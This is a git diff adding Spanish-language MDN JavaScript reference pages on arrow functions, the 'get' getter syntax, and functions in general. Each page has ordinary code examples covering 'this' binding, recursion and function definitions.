+<p class="brush: js notranslate">Si <code>this</code> es un misterio para ti, consulta {{JSxRef("Operadores/this", "este documento")}} para obtener más información sobre cómo funciona <code>this</code>. Para resumir, <code>this</code> se refiere a la instancia. Las instancias se crean cuando se invoca la palabra clave <code>new</code>. De lo contrario, <code>this</code> se establecerá —de forma predeterminada— en el {{Glossary("Scope", "ámbito o alcance")}} de window.</p>
+</div>
+
+<p class="brush: js notranslate">En las <strong>funciones tradicionales</strong> de manera predeterminada <code>this</code> está en el ámbito de <code>window</code>:</p>
+
+<ul>
+</ul>
+
+<pre class="brush: js notranslate">window.age = 10; // &lt;-- ¿me notas?
+function Person() {
+  this.age = 42; // &lt;-- ¿me notas?
+  setTimeout(function () {// &lt;-- La función tradicional se está ejecutando en el ámbito de window
+    console.log("this.age", this.age); // genera "10" porque la función se ejecuta en el ámbito de window
+  }, 100);
+}
+
+var p = new Person();
+
+</pre>
+
+<p>Las <strong>funciones flecha</strong> <strong>no</strong> predeterminan <code>this</code> al {{Glossary("Scope", "ámbito o alcance")}} de <code>window</code>, más bien se ejecutan en el {{Glossary("Scope", "ámbito o alcance")}} en que se crean:</p>
+
+<pre class="brush: js notranslate">window.age = 10; // &lt;-- ¿me notas?
+function Person() {
+  this.age = 42; // &lt;-- ¿me notas?
+  setTimeout(() =&gt; {// &lt;-- Función flecha ejecutándose en el ámbito de "p" (una instancia de Person)
+    console.log("this.age", this.age); // genera "42" porque la función se ejecuta en el ámbito de Person
+  }, 100);
+}
+
+var p = new Person();
+
+</pre>
+
+<p>En el ejemplo anterior, la función flecha no tiene su propio <code>this</code>. Se utiliza el valor <code>this</code> del {{Glossary("Scope", "ámbito")}} léxico adjunto; las funciones flecha siguen las reglas normales de búsqueda de variables. Entonces, mientras busca <code>this</code> que no está presente en el {{Glossary("Scope", "ámbito")}} actual, una función flecha termina encontrando el <code>this</code> de su {{Glossary("Scope", "ámbito")}} adjunto.</p>
+
+<p><strong>Relación con el modo estricto</strong></p>
+
+<p>Dado que <code>this</code> proviene del contexto léxico circundante, en el {{JSxRef("Modo_estricto", "modo estricto")}} se ignoran las reglas con respecto a <code>this</code>.</p>
+
+<pre class="brush: js notranslate">var f = () =&gt; {
+    'use strict';
+    return this;
+};
+
+f() === window; // o el objeto global</pre>
+
+<p>Todas las demás reglas del {{JSxRef("Modo_estricto", "modo estricto")}} se aplican normalmente.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Nota</strong>: Comprueba las notas sobre el {{JSxRef("Modo_estricto", "modo estricto")}}.</p>
+</div>
+
+<h3 id="Funciones_flecha_utilizadas_como_métodos">Funciones flecha utilizadas como métodos</h3>
+
+<p>Como se indicó anteriormente, las expresiones de función flecha son más adecuadas para funciones que no son métodos. Observa qué sucede cuando intentas usarlas como métodos:</p>
+
+<pre class="brush: js notranslate">'use strict';
+
+var obj = { // no crea un nuevo ámbito
+  i: 10,
+  b: () =&gt; console.log(this.i, this),
+  c: function() {
+    console.log(this.i, this);
+  }
+}
+
+obj.b(); // imprime indefinido, Window {...} (o el objeto global)
+obj.c(); // imprime 10, Object {...}</pre>
+
+<p>Las funciones flecha no tienen su propio <code>this</code>. Otro ejemplo que involucra {{JSxRef("Object.defineProperty()")}}:</p>
+
+<pre class="brush: js notranslate">'use strict';
+
+var obj = {
+  a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+  get: () =&gt; {
+    console.log(this.a, typeof this.a, this); // indefinida 'undefined' Window {...} (o el objeto global)
+    return this.a + 10; // representa el objeto global 'Window', por lo tanto 'this.a' devuelve 'undefined'
+  }
+});
+</pre>
+
+<h3 id="call_apply_y_bind"><code>call</code>, <code>apply</code> y <code>bind</code></h3>
+
+<p>Los métodos {{JSxRef("Objetos_globales/Function/call", "call")}}, {{JSxRef("Objetos_globales/Function/apply", "apply")}} y {{JSxRef("Objetos_globales/Function/bind", "bind")}} <strong>NO son adecuados</strong> para las funciones flecha, ya que fueron diseñados para permitir que los métodos se ejecuten dentro de diferentes ámbitos, porque <strong>las funciones flecha establecen "<code>this</code>" según el ámbito dentro del cual se define la función flecha.</strong></p>
+
+<p>Por ejemplo, {{JSxRef("Objetos_globales/Function/call", "call")}}, {{JSxRef("Objetos_globales/Function/apply", "apply")}} y {{JSxRef("Objetos_globales/Function/bind", "bind")}} funcionan como se esperaba con las funciones tradicionales, porque establecen el ámbito para cada uno de los métodos:</p>
+
+<pre class="brush: js notranslate">// ----------------------
+// Ejemplo tradicional
+// ----------------------
+// Un objeto simplista con su propio "this".
+var obj = {
+    num: 100
+}
+
+// Establece "num" en window para mostrar cómo NO se usa.
+window.num = 2020; // ¡Ay!
+
+// Una función tradicional simple para operar en "this"
+var add = function (a, b, c) {
+  return this.num + a + b + c;
+}
+
+// call
+var result = add.call(obj, 1, 2, 3) // establece el ámbito como "obj"
+console.log(result) // resultado 106
+
+// apply
+const arr = [1, 2, 3]
+var result = add.apply(obj, arr) // establece el ámbito como "obj"
+console.log(result) // resultado 106
+
+// bind
+var result = add.bind(obj) // estable el ámbito como "obj"
+console.log(result(1, 2, 3)) // resultado 106</pre>
+
+<p>Con las funciones flecha, dado que la función <code>add</code> esencialmente se crea en el ámbito del <code>window</code> (global), asumirá que <code>this</code> es window.</p>
+
+<pre class="brush: js notranslate">// ----------------------
+// Ejemplo de flecha
+// ----------------------
+
+// Un objeto simplista con su propio "this".
+var obj = {
+    num: 100
+}
+
+// Establecer "num" en window para mostrar cómo se recoge.
+window.num = 2020; // ¡Ay!
+
+// Función flecha
+var add = (a, b, c) =&gt; this.num + a + b + c;
+
+// call
+console.log(add.call(obj, 1, 2, 3)) // resultado 2026
+
+// apply
+const arr = [1, 2, 3]
+console.log(add.apply(obj, arr)) // resultado 2026
+
+// bind
+const bound = add.bind(obj)
+console.log(bound(1, 2, 3)) // resultado 2026
+</pre>
+
+<p>Quizás el mayor beneficio de usar las funciones flecha es con los métodos a nivel del DOM (<code>setTimeout</code>, <code>setInterval</code>, <code>addEventListener</code>) que generalmente requieren algún tipo de cierre, llamada, aplicación o vinculación para garantizar que la función se ejecute en el ámbito adecuado.</p>
+
+<p><strong>Ejemplo tradicional:</strong></p>
+
+<pre class="brush: js notranslate">var obj = {
+    count : 10,
+    doSomethingLater : function (){
+        setTimeout(function(){ // la función se ejecuta en el ámbito de window
+            this.count++;
+            console.log(this.count);
+        }, 300);
+    }
+}
+
+obj.doSomethingLater(); // la consola imprime "NaN", porque la propiedad "count" no está en el ámbito de window.</pre>
+
+<p><strong>Ejemplo de flecha:</strong></p>
+
+<pre class="brush: js notranslate">var obj = {
+    count : 10,
+    doSomethingLater : function(){  // por supuesto, las funciones flecha no son adecuadas para métodos
+        setTimeout( () =&gt; { // dado que la función flecha se creó dentro del "obj", asume el "this" del objeto
+            this.count++;
+            console.log(this.count);
+        }, 300);
+    }
+}
+
+obj.doSomethingLater();</pre>
+
+<h3 id="Sin_enlace_de_arguments">Sin enlace de <code>arguments</code></h3>
+
+<p>Las funciones flecha no tienen su propio objeto {{JSxRef("Funciones/arguments", "arguments")}}. Por tanto, en este ejemplo, <code>arguments</code> simplemente es una referencia a los argumentos del ámbito adjunto:</p>
+
+<pre class="brush: js notranslate">var arguments = [1, 2, 3];
+var arr = () =&gt; arguments[0];
+
+arr(); // 1
+
+function foo(n) {
+  var f = () =&gt; arguments[0] + n; // Los argumentos implícitos de foo son vinculantes. arguments[0] es n
+  return f();
+}
+
+foo(3); // 6</pre>
+
+<p>En la mayoría de los casos, usar {{JSxRef("Funciones/parametros_rest", "parámetros rest")}} es una buena alternativa a usar un objeto <code>arguments</code>.</p>
+
+<pre class="brush: js notranslate">function foo(n) {
+  var f = (...args) =&gt; args[0] + n;
+  return f(10);
+}
+
+foo(1); // 11</pre>
+
+<h3 id="Uso_del_operador_new">Uso del operador <code>new</code></h3>
+
+<p>Las funciones flecha no se pueden usar como constructores y arrojarán un error cuando se usen con <code>new</code>.</p>
+
+<pre class="brush: js notranslate">var Foo = () =&gt; {};
+var foo = new Foo(); // TypeError: Foo no es un constructor</pre>
+
+<h3 id="Uso_de_la_propiedad_prototype">Uso de la propiedad <code>prototype</code></h3>
+
+<p>Las funciones flecha no tienen una propiedad <code>prototype</code>.</p>
+
+<pre class="brush: js notranslate">var Foo = () =&gt; {};
+console.log(Foo.prototype); // undefined
+</pre>
+
+<h3 id="Uso_de_la_palabra_clave_yield">Uso de la palabra clave <code>yield</code></h3>
+
+<p>La palabra clave {{JSxRef("Operadores/yield", "yield")}} no se puede utilizar en el cuerpo de una función flecha (excepto cuando está permitido dentro de las funciones anidadas dentro de ella). Como consecuencia, las funciones flecha no se pueden utilizar como generadores.</p>
+
+<h3 id="Cuerpo_de_función">Cuerpo de función</h3>
+
+<p>Las funciones flecha pueden tener un "cuerpo conciso" o el "cuerpo de bloque" habitual.</p>
+
+<p>En un cuerpo conciso, solo se especifica una expresión, que se convierte en el valor de retorno implícito. En el cuerpo de un bloque, debes utilizar una instrucción <code>return</code> explícita.</p>
+
+<pre class="brush: js notranslate">var func = x =&gt; x * x;
+// sintaxis de cuerpo conciso, "return" implícito
+
+var func = (x, y) =&gt; { return x + y; };
+// con cuerpo de bloque, se necesita un "return" explícito
+</pre>
+
+<h3 id="Devolver_objetos_literales">Devolver objetos literales</h3>
+
+<p>Ten en cuenta que devolver objetos literales utilizando la sintaxis de cuerpo conciso <code>params =&gt; {object: literal}</code> no funcionará como se esperaba.</p>
+
+<pre class="brush: js notranslate">var func = () =&gt; { foo: 1 };
+// ¡Llamar a func() devuelve undefined!
+
+var func = () =&gt; { foo: function() {} };
+// SyntaxError: la declaración function requiere un nombre</pre>
+
+<p>Esto se debe a que el código entre llaves ({}) se procesa como una secuencia de declaraciones (es decir, <code>foo</code> se trata como una etiqueta, no como una clave en un objeto literal).</p>
+
+<p>Debes envolver el objeto literal entre paréntesis:</p>
+
+<pre class="brush: js notranslate">var func = () =&gt; ({ foo: 1 });</pre>
+
+<h3 id="Saltos_de_línea">Saltos de línea</h3>
+
+<p>Una función flecha no puede contener un salto de línea entre sus parámetros y su flecha.</p>
+
+<pre class="brush: js notranslate">var func = (a, b, c)
+  =&gt; 1;
+// SyntaxError: expresión esperada, obtuve '=&gt;'</pre>
+
+<p>Sin embargo, esto se puede modificar colocando el salto de línea después de la flecha o usando paréntesis/llaves como se ve a continuación para garantizar que el código se mantenga bonito y esponjoso. También puedes poner saltos de línea entre argumentos.</p>
+
+<pre class="brush: js notranslate">var func = (a, b, c) =&gt;
+  1;
+
+var func = (a, b, c) =&gt; (
+  1
+);
+
+var func = (a, b, c) =&gt; {
+  return 1
+};
+
+var func = (
+  a,
+  b,
+  c
+) =&gt; 1;
+
+// no se lanza SyntaxError</pre>
+
+<h3 id="Orden_de_procesamiento">Orden de procesamiento</h3>
+
+<p>Aunque la flecha en una función flecha no es un operador, las funciones flecha tienen reglas de procesamiento especiales que interactúan de manera diferente con {{JSxRef("Operadores/Operator_Precedence", "prioridad de operadores")}} en comparación con las funciones regulares.</p>
+
+<pre class="brush: js notranslate">let callback;
+
+callback = callback || function() {}; // ok
+
+callback = callback || () =&gt; {};
+// SyntaxError: argumentos de función flecha no válidos
+
+callback = callback || (() =&gt; {});    // bien
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_básico">Uso básico</h3>
+
+<pre class="brush: js notranslate">// Una función flecha vacía devuelve undefinided
+let empty = () =&gt; {};
+
+(() =&gt; 'foobar')();
+// Devuelve "foobar"
+// (esta es una expresión de función invocada inmediatamente)
+
+var simple = a =&gt; a &gt; 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) =&gt; a &gt; b ? a : b;
+
+// Fácil filtrado de arreglos, mapeo, ...
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) =&gt; a + b);
+// 66
+
+var even = arr.filter(v =&gt; v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v =&gt; v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// Cadenas de promesas más concisas
+promise.then(a =&gt; {
+  // ...
+}).then(b =&gt; {
+  // ...
+});
+
+// Funciones flecha sin parámetros que son visualmente más fáciles de procesar
+setTimeout( () =&gt; {
+  console.log('sucederá antes');
+  setTimeout( () =&gt; {
+    // código más profundo
+    console.log ('Sucederá más tarde');
+  }, 1);
+}, 1);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Definición de función flecha')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 en profundidad: funciones flecha" en hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/get/index.html b/files/es/web/javascript/referencia/funciones/get/index.html
new file mode 100644
index 0000000000..7125ab0caa
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/get/index.html
@@ -0,0 +1,134 @@
+---
+title: get
+slug: Web/JavaScript/Referencia/Funciones/get
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Operator
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Funciones")}}</div>
+
+<p>Enlaza la propiedad de un objeto con una función que será llamada cuando la propiedad es buscada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p><code>{get <em>prop</em>() { . . . } }</code></p>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>el nombre de la propiedad a unir con la función dada</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>A veces es deseable permitir acceso a una propiedad que retorna un valor dinámicamente calculado, o si desea mostrar el estado de alguna variable interna sin requerir el uso de llamadas a métodos explícitos. En JavaScript, esto se puede lograr con el uso de un getter (captador). No es posible tener simultáneamente un getter ligado a una propiedad y que dicha propiedad tenga actualmente un valor, aunque es posible usar un getter junto con un setter para crear un tipo de pseudo-propiedad.</p>
+
+<p>Tenga en cuenta lo siguiente al trabajar con la sintaxis <code>get</code>:</p>
+
+<ul>
+ <li>Puede tener un identificador que sea un número o una cadena.</li>
+ <li>Debe tener exactamente cero parametros (ver <a href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/">Cambio ES5 incompatible: las funciones getter y setter literal deben tener ahora exactamente cero o un argumento </a>para mas información);</li>
+ <li>No debe haber múltiples getters para una misma propiedad (<code>{ get x() { }, get x() { } }</code> y <code>{ x: ..., get x() { } }</code> están prohibidos).</li>
+</ul>
+
+<p>El getter puede ser removido usando el operador {{jsxref("Operadores/delete", "delete")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Example:_Defining_a_getter_with_the_get_operator" name="Example:_Defining_a_getter_with_the_get_operator">Definir un getter con el operador <code>get</code></h3>
+
+<p>Esto creará una pseudo-propiedad <code>latest</code> (ver ejemplo) del objecto <code>o</code> que podría retornar la más reciente entrada dentro de <code>o.log</code>:</p>
+
+<pre class="brush: js">var o = {
+  get latest () {
+    if (this.log.length &gt; 0) {
+      return this.log[this.log.length - 1];
+    }
+    else {
+      return null;
+    }
+  },
+  log: []
+}
+</pre>
+
+<p>Note que intentar asignar un valor a <code>latest</code> no lo cambiará.</p>
+
+<h3 id="Example:_Deleting_a_getter_using_the_delete_operator" name="Example:_Deleting_a_getter_using_the_delete_operator">Borrar un getter usando el operador <code>delete</code></h3>
+
+<pre class="brush: js">delete o.latest;
+</pre>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>Basado en la página de <a class="external" href="http://robertnyman.com/javascript/javascript-getters-setters.html#regular-getters-and-setters">página de Robert Nyman</a></p>
+
+<p>Sin soporte (notablemente en IE6-8) significa que el script lanzará un error de sintaxis.</p>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>1</td>
+   <td>9</td>
+   <td>9.5</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Consulta también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/es/JavaScript/Guide/Working_with_Objects#Defining_Getters_and_Setters" title="en/JavaScript/Guide/Working with Objects#Defining Getters and Setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
+
+<div class="noinclude">
+<p> </p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/funciones/index.html b/files/es/web/javascript/referencia/funciones/index.html
new file mode 100644
index 0000000000..ac1bea24ea
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/index.html
@@ -0,0 +1,661 @@
+---
+title: Funciones
+slug: Web/JavaScript/Referencia/Funciones
+tags:
+  - Funciones
+  - Guia(2)
+  - JavaScript
+  - función
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>En términos generales, una función es un "subprograma" que puede ser <em>llamado</em> por código externo (o interno en caso de recursión) a la función. Al igual que el programa en sí mismo, una función se compone de una secuencia de declaraciones, que conforman el llamado <em>cuerpo de la función</em>. Se pueden pasar valores a una función, y la función puede <em>devolver</em> un valor.</p>
+
+<p>En JavaScript, las funciones son objetos de primera clase, es decir, son objetos y se pueden manipular y transmitir al igual que cualquier otro objeto. Concretamente son objetos {{jsxref("Function")}}.</p>
+
+<h2 id="General" name="General">General</h2>
+
+<p>Toda función en JavaScript es un objeto Function. Ver {{jsxref("Function")}} para obtener información sobre las propiedades y métodos de los objetos <code>Function</code>.</p>
+
+<p>Las funciones no son lo mismo que los procedimientos. Una función siempre devuelve un valor, pero un procedimiento, puede o no puede devolver un valor.</p>
+
+<p>Para devolver un valor especifico distinto del predeterminado, una función debe tener una sentencia {{jsxref("Sentencias/return", "return")}}, que especifique el valor a devolver. Una función sin una instrucción return devolverá el valor predeterminado. En el caso de un {{jsxref("Object.prototype.constructor", "constructor")}} llamado con la palabra clave {{jsxref("new")}}, el valor predeterminado es el valor de su parametro. Para el resto de funciones, el valor predeterminado es undefined.</p>
+
+<p>Los parámetros en la llamada a una función son los argumentos de la función. Los argumentos se pasan a las funciones <em>por valor</em>. Si la función cambia el valor de un argumento, este cambio no se refleja globalmente ni en la llamada de la función. Sin embargo, las referencias a objetos también son valores, y son especiales: si la función cambia las propiedades del objeto referenciado, ese cambio es visible fuera de la función, tal y como se muestra en el siguiente ejemplo:</p>
+
+<pre><code class="language-js"><span class="comment token">/* Declarando la función 'myFunc' */</span>
+ <span class="keyword token">function</span> <span class="function token">myFunc<span class="punctuation token">(elobjeto</span></span><span class="punctuation token">)</span>
+ <span class="punctuation token">{</span>
+   elobjeto<span class="punctuation token">.marca</span><span class="operator token">=</span> <span class="string token">"Toyota"</span><span class="brush: js">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="comment token">/*
+  * Declarando la variable 'mycar';
+  * Se crea e inicializa el nuevo objeto;
+  * para hacer referencia a él mediante 'mycar'
+  */</span>
+ <span class="keyword token">var</span> mycar <span class="operator token">=</span> <span class="punctuation token">{</span>
+   marca<span class="punctuation token">:</span> <span class="string token">"Honda"</span><span class="punctuation token">,</span>
+   modelo<span class="punctuation token">:</span> <span class="string token">"Accord"</span><span class="punctuation token">,</span>
+   año<span class="punctuation token">:</span> <span class="number token">1998</span>
+ <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+ <span class="comment token">/* Mostrando 'Honda' */</span>
+ window<span class="punctuation token">.</span><span class="function token">alert<span class="punctuation token">(</span></span>mycar<span class="punctuation token">.marca</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="comment token">/* Paso por referencia del objeto 'mycar' a la función 'myFunc'*/</span>
+ <span class="function token">myFunc<span class="punctuation token">(</span></span>mycar<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="comment token">/*
+  * Muestra 'Toyota' como valor de la propiedad 'marca'
+  * del objeto, que ha sido cambiado por la función.
+  */</span>
+ window<span class="punctuation token">.</span><span class="function token">alert<span class="punctuation token">(</span></span>mycar<span class="punctuation token">.marca</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>La palabra clave <a href="/es/docs/Web/JavaScript/Referencia/Operadores/this"><code>this</code></a> no hace referencia a la función que está ejecutandose actualmente, por lo que debes referirte a los objetos Function por nombre, incluso dentro del cuerpo de la función. Como alternativa, puedes utilizar la propiedad <a href="es/Referencia_de_JavaScript_1.5/Funciones/arguments/callee">arguments.callee</a> (que no se recomienda).</p>
+
+<h2 id="Defining_functions" name="Defining_functions">Definiendo funciones</h2>
+
+<p>Hay varias formas de definir funciones:</p>
+
+<h3 id="The_function_declaration_.28function_statement.29" name="The_function_declaration_.28function_statement.29">Declaración de una función (La instrucción <code>function</code>)</h3>
+
+<p>Hay una sintaxis especial para declarar funciones (ver la instrucción {{jsxref("Sentencias/function","function")}} para más detalles):</p>
+
+<pre class="eval">function nombre([<em>param</em>[,<em>param</em>[, ...<em>param</em>]]]) {
+   instrucciones
+}
+</pre>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>El nombre de la función.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>El nombre de un argumento que se pasará a la función. Una función puede tener hasta 255 argumentos.</dd>
+</dl>
+
+<dl>
+ <dt><code>instrucciones</code></dt>
+ <dd>Las instruciones que forman el cuerpo de la función.</dd>
+</dl>
+
+<h3 id="The_function_declaration_.28function_statement.29" name="The_function_declaration_.28function_statement.29">Expresión de una función (El operador <code>function</code>)</h3>
+
+<p>Una expresión function es similar y tiene la misma sintaxis que una declaración de función (ver operador {{jsxref("Operadores/function", "function")}} para más detalles):</p>
+
+<pre class="eval">function [nombre]([<em>param</em>[, <em>param</em>[, ...<em>param</em>]]]) {
+   instrucciones
+}
+</pre>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>El nombre de la función, se puede omitir, en ese caso la función se conoce como función anónima.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>El nombre de los argumentos que se pasarán a la función. Una función puede tener hasta 255 argumentos.</dd>
+</dl>
+
+<dl>
+ <dt><code>instrucciones</code></dt>
+ <dd>Las instrucciones que forman el cuerpo de la función.</dd>
+</dl>
+
+<h3 id="La_expresión_de_función_flecha_>">La expresión de función flecha (=&gt;)</h3>
+
+<div class="note">
+<p><strong>Nota:</strong> Las expresiones de función Flecha son una tecnología experimental, parte de la proposición Harmony (EcmaScript 6) y no son ampliamente implementadas por los navegadores.</p>
+</div>
+
+<p>Una expresión de función flecha tiene una sintaxis más corta y su léxico se une a este valor (ver {{jsxref("Funciones/Arrow_functions", "arrow functions", "", 1)}} para más detalles):</p>
+
+<pre class="language-html">([param] [, param]) =&gt; { instrucciones }
+
+param =&gt; expresión
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>El nombre de un argumento. Si no hay argumentos se tiene que indicar con <code>()</code>. Para un único argumento no son necesarios los parentesis. (como <code>foo =&gt; 1</code>)</dd>
+ <dt><code>instrucciones o expresión</code></dt>
+ <dd>Multiples instrucciones deben ser encerradas entre llaves. Una única expresión no necesita llaves. La expresión es, así mismo, el valor de retorno implícito de esa función.</dd>
+</dl>
+
+<h3 id="The_Function_constructor" name="The_Function_constructor">El constructor <code>Function</code></h3>
+
+<p>Como todos los demás objetos, los objetos {{jsxref("Function")}} se pueden crear mediante el operador new:</p>
+
+<pre class="language-html">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Ningún o varios argumentos  son pasados para ser utilizados por la función como nombres de argumentos formales. Cada uno debe ser una cadena que se ajuste a las reglas de identificadores válidos en JavaScript, o a una lista de este tipo de cadenas separadas por comas; por ejemplo "x", "theValue", o "a,b".</dd>
+</dl>
+
+<dl>
+ <dt><code>Cuerpo de la función</code></dt>
+ <dd>Una cadena conteniendo las instrucciones JavaScript que comprenden la definición de la función.</dd>
+</dl>
+
+<p>Llamar al contructor Function como una función, sin el operador new, tiene el mismo efecto que llamarlo como un constructor.</p>
+
+<div class="note"><strong>Nota:</strong> Utilizar el constructor Function no se recomienda, ya que necesita el cuerpo de la función como una cadena, lo cual puede ocasionar que no se optimize correctamente por el motor JS, y puede también causar otros problemas.</div>
+
+<h2 id="The_arguments_object" name="The_arguments_object">El objeto <code>arguments</code></h2>
+
+<p>Puedes referirte a los argumentos de una función dentro de la misma, utilizando el objeto arguments. Ver {{jsxref("Functiones/argument", "Function")}}.</p>
+
+<h2 id="Scope_and_the_function_stack" name="Scope_and_the_function_stack">Ámbito de ejecución y pila de funciones</h2>
+
+<p><span class="comment">some section about scope and functions calling other functions</span></p>
+
+<h3 id="Repaso" name="Repaso">Repaso</h3>
+
+<p>Una función puede referirse y llamarse a sí misma. Hay tres maneras en la que una función puede referirse a sí misma.</p>
+
+<ol>
+ <li>El nombre de la función</li>
+ <li>{{jsxref("arguments.callee")}}</li>
+ <li>una función dentro del ambito de ejecución que refiere a la función</li>
+</ol>
+
+<p>Por ejemplo, considere la siguiente definición de función:</p>
+
+<pre class="brush: js">var foo = function bar() {
+   // el cuerpo va aqui
+};
+</pre>
+
+<p>Dentro del cuerpo de la función, todo lo siguientes son lo mismo:</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>Una función que se llama a sí misma es llamada una <em>función recursiva. </em>En algunas ocaciones, la recursión es análoga a un bucle. Ambos ejecutan el mismo código múltiples veces, y ambas requieren una condición (para evitar un bucle infinito, o en su lugar, recursión infinita en este caso). Por ejemplo, el siguiente bucle:</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" es la condición
+   // haz algo
+   x++;
+}
+</pre>
+
+<p>puede ser convertida en una función recursiva y una llamada a esa función:</p>
+
+<pre class="brush: js">function loop(x) {
+   if (x &gt;= 10) // "x &gt;= 10" es la condición de salida (equivalente a "!(x &lt; 10)")
+      return;
+   // haz algo
+   loop(x + 1); // la llamada recursiva
+}
+loop(0);
+</pre>
+
+<p>Sin embargo, algunos algoritmos no pueden ser bucles iterativos simples. Por ejemplo, obtener todos los nodos de una estructura de arbol (e.g. el <a href="https://developer.mozilla.org/en-US/docs/DOM">DOM</a>) es realizado de manera más fácil usando recursión:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">recorrerArbol <span class="punctuation token">(</span></span>nodo<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="keyword token">if</span> <span class="punctuation token">(</span>nodo <span class="operator token">==</span> <span class="keyword token">null</span><span class="punctuation token">)</span><span class="comment token"> //
+</span>      <span class="keyword token">return</span><span class="punctuation token">;</span>
+  <span class="comment token"> // haz algo con el nodo
+</span>   <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> nodo<span class="punctuation token">.</span>nodosHijos<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+<span class="function token"><span class="punctuation token">       recorrerArbol(</span></span>nodo<span class="punctuation token">.nodosHijos</span><span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+   <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code>
+</pre>
+
+<p>En comparación con el bucle de la función <code>loop</code>, cada llamada recursiva hace muchas llamadas recursivas aquí.</p>
+
